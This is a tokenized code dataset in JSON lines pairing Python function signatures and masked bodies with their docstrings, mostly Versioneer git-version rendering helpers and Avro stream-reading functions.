{"signature": "def render_pep440_old(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"] or pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT>return rendered<EOL>", "docstring": "TAG[.postDISTANCE[.dev0]] .\n\n    The \".dev0\" means dirty.\n\n    Eexceptions:\n    1: no tags. 0.postDISTANCE[.dev0]", "id": "f10100:m12"}
{"signature": "def render_git_describe(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"], pieces[\"<STR_LIT>\"])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL><DEDENT>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG[-DISTANCE-gHEX][-dirty].\n\n    Like 'git describe --tags --dirty --always'.\n\n    Exceptions:\n    1: no tags. HEX[-dirty]  (note: no 'g' prefix)", "id": "f10100:m13"}
{"signature": "def render_git_describe_long(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>rendered += \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"], pieces[\"<STR_LIT>\"])<EOL><DEDENT>else:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL><DEDENT>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG-DISTANCE-gHEX[-dirty].\n\n    Like 'git describe --tags --dirty --always -long'.\n    The distance/hash is unconditional.\n\n    Exceptions:\n    1: no tags. HEX[-dirty]  (note: no 'g' prefix)", "id": "f10100:m14"}
{"signature": "def render(pieces, style):", "body": "if pieces[\"<STR_LIT:error>\"]:<EOL><INDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": pieces.get(\"<STR_LIT>\"),<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT:error>\": pieces[\"<STR_LIT:error>\"]}<EOL><DEDENT>if not style or style == \"<STR_LIT:default>\":<EOL><INDENT>style = \"<STR_LIT>\"  <EOL><DEDENT>if style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440_pre(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440_post(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440_old(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_git_describe(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_git_describe_long(pieces)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % style)<EOL><DEDENT>return {\"<STR_LIT:version>\": rendered, \"<STR_LIT>\": pieces[\"<STR_LIT>\"],<EOL>\"<STR_LIT>\": pieces[\"<STR_LIT>\"], \"<STR_LIT:error>\": None}<EOL>", "docstring": "Render the given version pieces into the requested style.", "id": "f10100:m15"}
{"signature": "def get_versions():", "body": "<EOL>cfg = get_config()<EOL>verbose = cfg.verbose<EOL>try:<EOL><INDENT>return git_versions_from_keywords(get_keywords(), cfg.tag_prefix,<EOL>verbose)<EOL><DEDENT>except NotThisMethod:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>root = os.path.realpath(__file__)<EOL>for i in cfg.versionfile_source.split('<STR_LIT:/>'):<EOL><INDENT>root = os.path.dirname(root)<EOL><DEDENT><DEDENT>except NameError:<EOL><INDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\", \"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT:error>\": \"<STR_LIT>\"}<EOL><DEDENT>try:<EOL><INDENT>pieces = git_pieces_from_vcs(cfg.tag_prefix, root, verbose)<EOL>return render(pieces, cfg.style)<EOL><DEDENT>except NotThisMethod:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>if cfg.parentdir_prefix:<EOL><INDENT>return versions_from_parentdir(cfg.parentdir_prefix, root, verbose)<EOL><DEDENT><DEDENT>except NotThisMethod:<EOL><INDENT>pass<EOL><DEDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\", \"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT:error>\": \"<STR_LIT>\"}<EOL>", "docstring": "Get version information or return default if unable to do so.", "id": "f10100:m16"}
{"signature": "def read_stream(schema, stream, *, buffer_size=io.DEFAULT_BUFFER_SIZE):", "body": "reader = _lancaster.Reader(schema)<EOL>buf = stream.read(buffer_size)<EOL>remainder = b'<STR_LIT>'<EOL>while len(buf) > <NUM_LIT:0>:<EOL><INDENT>values, n = reader.read_seq(buf)<EOL>yield from values<EOL>remainder = buf[n:]<EOL>buf = stream.read(buffer_size)<EOL>if len(buf) > <NUM_LIT:0> and len(remainder) > <NUM_LIT:0>:<EOL><INDENT>ba = bytearray()<EOL>ba.extend(remainder)<EOL>ba.extend(buf)<EOL>buf = memoryview(ba).tobytes()<EOL><DEDENT><DEDENT>if len(remainder) > <NUM_LIT:0>:<EOL><INDENT>raise EOFError('<STR_LIT>'<EOL>'<STR_LIT>'.format(len(remainder)))<EOL><DEDENT>", "docstring": "Using a schema, deserialize a stream of consecutive Avro values.\n\n    :param str schema: json string representing the Avro schema\n    :param file-like stream: a buffered stream of binary input\n    :param int buffer_size: size of bytes to read from the stream each time\n    :return: yields a sequence of python data structures deserialized\n        from the stream", "id": "f10101:m0"}
{"signature": "def read_stream_tuples(schema, stream, *, buffer_size=io.DEFAULT_BUFFER_SIZE):", "body": "reader = _lancaster.Reader(schema, _get_datetime_flags(schema))<EOL>buf = stream.read(buffer_size)<EOL>remainder = b'<STR_LIT>'<EOL>while len(buf) > <NUM_LIT:0>:<EOL><INDENT>values, n = reader.read_seq_tuples(buf)<EOL>yield from values<EOL>remainder = buf[n:]<EOL>buf = stream.read(buffer_size)<EOL>if len(buf) > <NUM_LIT:0> and len(remainder) > <NUM_LIT:0>:<EOL><INDENT>ba = bytearray()<EOL>ba.extend(remainder)<EOL>ba.extend(buf)<EOL>buf = memoryview(ba).tobytes()<EOL><DEDENT><DEDENT>if len(remainder) > <NUM_LIT:0>:<EOL><INDENT>raise EOFError('<STR_LIT>'<EOL>'<STR_LIT>'.format(len(remainder)))<EOL><DEDENT>", "docstring": "Using a schema, deserialize a stream of consecutive Avro values\n    into tuples.\n\n    This assumes the input is avro records of simple values (numbers,\n    strings, etc.).\n\n    :param str schema: json string representing the Avro schema, field\n        names may include 'is_datetime' boolean fields to force\n        decoding long values of epoch nanoseconds into datetime\n        objects\n    :param file-like stream: a buffered stream of binary input\n    :param int buffer_size: size of bytes to read from the stream each time\n    :return: yields a sequence of python tuples deserialized from the stream", "id": "f10101:m2"}
{"signature": "def get_root():", "body": "root = os.path.realpath(os.path.abspath(os.getcwd()))<EOL>setup_py = os.path.join(root, \"<STR_LIT>\")<EOL>versioneer_py = os.path.join(root, \"<STR_LIT>\")<EOL>if not (os.path.exists(setup_py) or os.path.exists(versioneer_py)):<EOL><INDENT>root = os.path.dirname(os.path.realpath(os.path.abspath(sys.argv[<NUM_LIT:0>])))<EOL>setup_py = os.path.join(root, \"<STR_LIT>\")<EOL>versioneer_py = os.path.join(root, \"<STR_LIT>\")<EOL><DEDENT>if not (os.path.exists(setup_py) or os.path.exists(versioneer_py)):<EOL><INDENT>err = (\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>raise VersioneerBadRootError(err)<EOL><DEDENT>try:<EOL><INDENT>me = os.path.realpath(os.path.abspath(__file__))<EOL>if os.path.splitext(me)[<NUM_LIT:0>] != os.path.splitext(versioneer_py)[<NUM_LIT:0>]:<EOL><INDENT>print(\"<STR_LIT>\"<EOL>% (os.path.dirname(me), versioneer_py))<EOL><DEDENT><DEDENT>except NameError:<EOL><INDENT>pass<EOL><DEDENT>return root<EOL>", "docstring": "Get the project root directory.\n\n    We require that all commands are run from the project root, i.e. the\n    directory that contains setup.py, setup.cfg, and versioneer.py .", "id": "f10103:m0"}
{"signature": "def get_config_from_root(root):", "body": "<EOL>setup_cfg = os.path.join(root, \"<STR_LIT>\")<EOL>parser = configparser.SafeConfigParser()<EOL>with open(setup_cfg, \"<STR_LIT:r>\") as f:<EOL><INDENT>parser.readfp(f)<EOL><DEDENT>VCS = parser.get(\"<STR_LIT>\", \"<STR_LIT>\")  <EOL>def get(parser, name):<EOL><INDENT>if parser.has_option(\"<STR_LIT>\", name):<EOL><INDENT>return parser.get(\"<STR_LIT>\", name)<EOL><DEDENT>return None<EOL><DEDENT>cfg = VersioneerConfig()<EOL>cfg.VCS = VCS<EOL>cfg.style = get(parser, \"<STR_LIT>\") or \"<STR_LIT>\"<EOL>cfg.versionfile_source = get(parser, \"<STR_LIT>\")<EOL>cfg.versionfile_build = get(parser, \"<STR_LIT>\")<EOL>cfg.tag_prefix = get(parser, \"<STR_LIT>\")<EOL>if cfg.tag_prefix in (\"<STR_LIT>\", '<STR_LIT>'):<EOL><INDENT>cfg.tag_prefix = \"<STR_LIT>\"<EOL><DEDENT>cfg.parentdir_prefix = get(parser, \"<STR_LIT>\")<EOL>cfg.verbose = get(parser, \"<STR_LIT>\")<EOL>return cfg<EOL>", "docstring": "Read the project setup.cfg file to determine Versioneer config.", "id": "f10103:m1"}
{"signature": "def register_vcs_handler(vcs, method):  ", "body": "def decorate(f):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if vcs not in HANDLERS:<EOL><INDENT>HANDLERS[vcs] = {}<EOL><DEDENT>HANDLERS[vcs][method] = f<EOL>return f<EOL><DEDENT>return decorate<EOL>", "docstring": "Decorator to mark a method as the handler for a particular VCS.", "id": "f10103:m2"}
{"signature": "def run_command(commands, args, cwd=None, verbose=False, hide_stderr=False):", "body": "assert isinstance(commands, list)<EOL>p = None<EOL>for c in commands:<EOL><INDENT>try:<EOL><INDENT>dispcmd = str([c] + args)<EOL>p = subprocess.Popen([c] + args, cwd=cwd, stdout=subprocess.PIPE,<EOL>stderr=(subprocess.PIPE if hide_stderr<EOL>else None))<EOL>break<EOL><DEDENT>except EnvironmentError:<EOL><INDENT>e = sys.exc_info()[<NUM_LIT:1>]<EOL>if e.errno == errno.ENOENT:<EOL><INDENT>continue<EOL><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % dispcmd)<EOL>print(e)<EOL><DEDENT>return None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % (commands,))<EOL><DEDENT>return None<EOL><DEDENT>stdout = p.communicate()[<NUM_LIT:0>].strip()<EOL>if sys.version_info[<NUM_LIT:0>] >= <NUM_LIT:3>:<EOL><INDENT>stdout = stdout.decode()<EOL><DEDENT>if p.returncode != <NUM_LIT:0>:<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % dispcmd)<EOL><DEDENT>return None<EOL><DEDENT>return stdout<EOL>", "docstring": "Call the given command(s).", "id": "f10103:m3"}
{"signature": "@register_vcs_handler(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>def git_get_keywords(versionfile_abs):", "body": "<EOL>keywords = {}<EOL>try:<EOL><INDENT>f = open(versionfile_abs, \"<STR_LIT:r>\")<EOL>for line in f.readlines():<EOL><INDENT>if line.strip().startswith(\"<STR_LIT>\"):<EOL><INDENT>mo = re.search(r'<STR_LIT>', line)<EOL>if mo:<EOL><INDENT>keywords[\"<STR_LIT>\"] = mo.group(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>if line.strip().startswith(\"<STR_LIT>\"):<EOL><INDENT>mo = re.search(r'<STR_LIT>', line)<EOL>if mo:<EOL><INDENT>keywords[\"<STR_LIT>\"] = mo.group(<NUM_LIT:1>)<EOL><DEDENT><DEDENT><DEDENT>f.close()<EOL><DEDENT>except EnvironmentError:<EOL><INDENT>pass<EOL><DEDENT>return keywords<EOL>", "docstring": "Extract version information from the given file.", "id": "f10103:m4"}
{"signature": "@register_vcs_handler(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>def git_versions_from_keywords(keywords, tag_prefix, verbose):", "body": "if not keywords:<EOL><INDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>refnames = keywords[\"<STR_LIT>\"].strip()<EOL>if refnames.startswith(\"<STR_LIT>\"):<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>refs = set([r.strip() for r in refnames.strip(\"<STR_LIT>\").split(\"<STR_LIT:U+002C>\")])<EOL>TAG = \"<STR_LIT>\"<EOL>tags = set([r[len(TAG):] for r in refs if r.startswith(TAG)])<EOL>if not tags:<EOL><INDENT>tags = set([r for r in refs if re.search(r'<STR_LIT>', r)])<EOL>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % \"<STR_LIT:U+002C>\".join(refs-tags))<EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % \"<STR_LIT:U+002C>\".join(sorted(tags)))<EOL><DEDENT>for ref in sorted(tags):<EOL><INDENT>if ref.startswith(tag_prefix):<EOL><INDENT>r = ref[len(tag_prefix):]<EOL>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % r)<EOL><DEDENT>return {\"<STR_LIT:version>\": r,<EOL>\"<STR_LIT>\": keywords[\"<STR_LIT>\"].strip(),<EOL>\"<STR_LIT>\": False, \"<STR_LIT:error>\": None<EOL>}<EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": keywords[\"<STR_LIT>\"].strip(),<EOL>\"<STR_LIT>\": False, \"<STR_LIT:error>\": \"<STR_LIT>\"}<EOL>", "docstring": "Get version information from git keywords.", "id": "f10103:m5"}
{"signature": "@register_vcs_handler(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>def git_pieces_from_vcs(tag_prefix, root, verbose, run_command=run_command):", "body": "if not os.path.exists(os.path.join(root, \"<STR_LIT>\")):<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % root)<EOL><DEDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>GITS = [\"<STR_LIT>\"]<EOL>if sys.platform == \"<STR_LIT:win32>\":<EOL><INDENT>GITS = [\"<STR_LIT>\", \"<STR_LIT>\"]<EOL><DEDENT>describe_out = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\" % tag_prefix],<EOL>cwd=root)<EOL>if describe_out is None:<EOL><INDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>describe_out = describe_out.strip()<EOL>full_out = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\"], cwd=root)<EOL>if full_out is None:<EOL><INDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>full_out = full_out.strip()<EOL>pieces = {}<EOL>pieces[\"<STR_LIT>\"] = full_out<EOL>pieces[\"<STR_LIT>\"] = full_out[:<NUM_LIT:7>]  <EOL>pieces[\"<STR_LIT:error>\"] = None<EOL>git_describe = describe_out<EOL>dirty = git_describe.endswith(\"<STR_LIT>\")<EOL>pieces[\"<STR_LIT>\"] = dirty<EOL>if dirty:<EOL><INDENT>git_describe = git_describe[:git_describe.rindex(\"<STR_LIT>\")]<EOL><DEDENT>if \"<STR_LIT:->\" in git_describe:<EOL><INDENT>mo = re.search(r'<STR_LIT>', git_describe)<EOL>if not mo:<EOL><INDENT>pieces[\"<STR_LIT:error>\"] = (\"<STR_LIT>\"<EOL>% describe_out)<EOL>return pieces<EOL><DEDENT>full_tag = mo.group(<NUM_LIT:1>)<EOL>if not full_tag.startswith(tag_prefix):<EOL><INDENT>if verbose:<EOL><INDENT>fmt = \"<STR_LIT>\"<EOL>print(fmt % (full_tag, tag_prefix))<EOL><DEDENT>pieces[\"<STR_LIT:error>\"] = (\"<STR_LIT>\"<EOL>% (full_tag, tag_prefix))<EOL>return pieces<EOL><DEDENT>pieces[\"<STR_LIT>\"] = full_tag[len(tag_prefix):]<EOL>pieces[\"<STR_LIT>\"] = int(mo.group(<NUM_LIT:2>))<EOL>pieces[\"<STR_LIT>\"] = mo.group(<NUM_LIT:3>)<EOL><DEDENT>else:<EOL><INDENT>pieces[\"<STR_LIT>\"] = None<EOL>count_out = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"],<EOL>cwd=root)<EOL>pieces[\"<STR_LIT>\"] = int(count_out)  <EOL><DEDENT>return pieces<EOL>", "docstring": "Get version from 'git describe' in the root of the source tree.\n\n    This only gets called if the git-archive 'subst' keywords were *not*\n    expanded, and _version.py hasn't already been rewritten with a short\n    version string, meaning we're inside a checked out source tree.", "id": "f10103:m6"}
{"signature": "def do_vcs_install(manifest_in, versionfile_source, ipy):", "body": "GITS = [\"<STR_LIT>\"]<EOL>if sys.platform == \"<STR_LIT:win32>\":<EOL><INDENT>GITS = [\"<STR_LIT>\", \"<STR_LIT>\"]<EOL><DEDENT>files = [manifest_in, versionfile_source]<EOL>if ipy:<EOL><INDENT>files.append(ipy)<EOL><DEDENT>try:<EOL><INDENT>me = __file__<EOL>if me.endswith(\"<STR_LIT>\") or me.endswith(\"<STR_LIT>\"):<EOL><INDENT>me = os.path.splitext(me)[<NUM_LIT:0>] + \"<STR_LIT>\"<EOL><DEDENT>versioneer_file = os.path.relpath(me)<EOL><DEDENT>except NameError:<EOL><INDENT>versioneer_file = \"<STR_LIT>\"<EOL><DEDENT>files.append(versioneer_file)<EOL>present = False<EOL>try:<EOL><INDENT>f = open(\"<STR_LIT>\", \"<STR_LIT:r>\")<EOL>for line in f.readlines():<EOL><INDENT>if line.strip().startswith(versionfile_source):<EOL><INDENT>if \"<STR_LIT>\" in line.strip().split()[<NUM_LIT:1>:]:<EOL><INDENT>present = True<EOL><DEDENT><DEDENT><DEDENT>f.close()<EOL><DEDENT>except EnvironmentError:<EOL><INDENT>pass<EOL><DEDENT>if not present:<EOL><INDENT>f = open(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>f.write(\"<STR_LIT>\" % versionfile_source)<EOL>f.close()<EOL>files.append(\"<STR_LIT>\")<EOL><DEDENT>run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\"] + files)<EOL>", "docstring": "Git-specific installation logic for Versioneer.\n\n    For Git, this means creating/changing .gitattributes to mark _version.py\n    for export-time keyword substitution.", "id": "f10103:m7"}
{"signature": "def versions_from_parentdir(parentdir_prefix, root, verbose):", "body": "dirname = os.path.basename(root)<EOL>if not dirname.startswith(parentdir_prefix):<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (root, dirname, parentdir_prefix))<EOL><DEDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>return {\"<STR_LIT:version>\": dirname[len(parentdir_prefix):],<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": False, \"<STR_LIT:error>\": None}<EOL>", "docstring": "Try to determine the version from the parent directory name.\n\n    Source tarballs conventionally unpack into a directory that includes\n    both the project name and a version string.", "id": "f10103:m8"}
{"signature": "def versions_from_file(filename):", "body": "try:<EOL><INDENT>with open(filename) as f:<EOL><INDENT>contents = f.read()<EOL><DEDENT><DEDENT>except EnvironmentError:<EOL><INDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>mo = re.search(r\"<STR_LIT>\",<EOL>contents, re.M | re.S)<EOL>if not mo:<EOL><INDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>return json.loads(mo.group(<NUM_LIT:1>))<EOL>", "docstring": "Try to determine the version from _version.py if present.", "id": "f10103:m9"}
{"signature": "def write_to_version_file(filename, versions):", "body": "os.unlink(filename)<EOL>contents = json.dumps(versions, sort_keys=True,<EOL>indent=<NUM_LIT:1>, separators=(\"<STR_LIT:U+002C>\", \"<STR_LIT>\"))<EOL>with open(filename, \"<STR_LIT:w>\") as f:<EOL><INDENT>f.write(SHORT_VERSION_PY % contents)<EOL><DEDENT>print(\"<STR_LIT>\" % (filename, versions[\"<STR_LIT:version>\"]))<EOL>", "docstring": "Write the given version number to the given _version.py file.", "id": "f10103:m10"}
{"signature": "def plus_or_dot(pieces):", "body": "if \"<STR_LIT:+>\" in pieces.get(\"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>return \"<STR_LIT:.>\"<EOL><DEDENT>return \"<STR_LIT:+>\"<EOL>", "docstring": "Return a + if we don't already have one, else return a .", "id": "f10103:m11"}
{"signature": "def render_pep440(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"] or pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += plus_or_dot(pieces)<EOL>rendered += \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"], pieces[\"<STR_LIT>\"])<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"],<EOL>pieces[\"<STR_LIT>\"])<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT>return rendered<EOL>", "docstring": "Build up version string, with post-release \"local version identifier\".\n\n    Our goal: TAG[+DISTANCE.gHEX[.dirty]] . Note that if you\n    get a tagged build and then dirty it, you'll get TAG+0.gHEX.dirty\n\n    Exceptions:\n    1: no tags. git_describe was just HEX. 0+untagged.DISTANCE.gHEX[.dirty]", "id": "f10103:m12"}
{"signature": "def render_pep440_pre(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG[.post.devDISTANCE] -- No -dirty.\n\n    Exceptions:\n    1: no tags. 0.post.devDISTANCE", "id": "f10103:m13"}
{"signature": "def render_pep440_post(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"] or pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>rendered += plus_or_dot(pieces)<EOL>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG[.postDISTANCE[.dev0]+gHEX] .\n\n    The \".dev0\" means dirty. Note that .dev0 sorts backwards\n    (a dirty tree will appear \"older\" than the corresponding clean one),\n    but you shouldn't be releasing software with -dirty anyways.\n\n    Exceptions:\n    1: no tags. 0.postDISTANCE[.dev0]", "id": "f10103:m14"}
{"signature": "def render_pep440_old(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"] or pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT>return rendered<EOL>", "docstring": "TAG[.postDISTANCE[.dev0]] .\n\n    The \".dev0\" means dirty.\n\n    Eexceptions:\n    1: no tags. 0.postDISTANCE[.dev0]", "id": "f10103:m15"}
{"signature": "def render_git_describe(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"], pieces[\"<STR_LIT>\"])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL><DEDENT>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG[-DISTANCE-gHEX][-dirty].\n\n    Like 'git describe --tags --dirty --always'.\n\n    Exceptions:\n    1: no tags. HEX[-dirty]  (note: no 'g' prefix)", "id": "f10103:m16"}
{"signature": "def render_git_describe_long(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>rendered += \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"], pieces[\"<STR_LIT>\"])<EOL><DEDENT>else:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL><DEDENT>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG-DISTANCE-gHEX[-dirty].\n\n    Like 'git describe --tags --dirty --always -long'.\n    The distance/hash is unconditional.\n\n    Exceptions:\n    1: no tags. HEX[-dirty]  (note: no 'g' prefix)", "id": "f10103:m17"}
{"signature": "def render(pieces, style):", "body": "if pieces[\"<STR_LIT:error>\"]:<EOL><INDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": pieces.get(\"<STR_LIT>\"),<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT:error>\": pieces[\"<STR_LIT:error>\"]}<EOL><DEDENT>if not style or style == \"<STR_LIT:default>\":<EOL><INDENT>style = \"<STR_LIT>\"  <EOL><DEDENT>if style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440_pre(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440_post(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440_old(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_git_describe(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_git_describe_long(pieces)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % style)<EOL><DEDENT>return {\"<STR_LIT:version>\": rendered, \"<STR_LIT>\": pieces[\"<STR_LIT>\"],<EOL>\"<STR_LIT>\": pieces[\"<STR_LIT>\"], \"<STR_LIT:error>\": None}<EOL>", "docstring": "Render the given version pieces into the requested style.", "id": "f10103:m18"}
{"signature": "def get_versions(verbose=False):", "body": "if \"<STR_LIT>\" in sys.modules:<EOL><INDENT>del sys.modules[\"<STR_LIT>\"]<EOL><DEDENT>root = get_root()<EOL>cfg = get_config_from_root(root)<EOL>assert cfg.VCS is not None, \"<STR_LIT>\"<EOL>handlers = HANDLERS.get(cfg.VCS)<EOL>assert handlers, \"<STR_LIT>\" % cfg.VCS<EOL>verbose = verbose or cfg.verbose<EOL>assert cfg.versionfile_source is not None,\"<STR_LIT>\"<EOL>assert cfg.tag_prefix is not None, \"<STR_LIT>\"<EOL>versionfile_abs = os.path.join(root, cfg.versionfile_source)<EOL>get_keywords_f = handlers.get(\"<STR_LIT>\")<EOL>from_keywords_f = handlers.get(\"<STR_LIT>\")<EOL>if get_keywords_f and from_keywords_f:<EOL><INDENT>try:<EOL><INDENT>keywords = get_keywords_f(versionfile_abs)<EOL>ver = from_keywords_f(keywords, cfg.tag_prefix, verbose)<EOL>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % 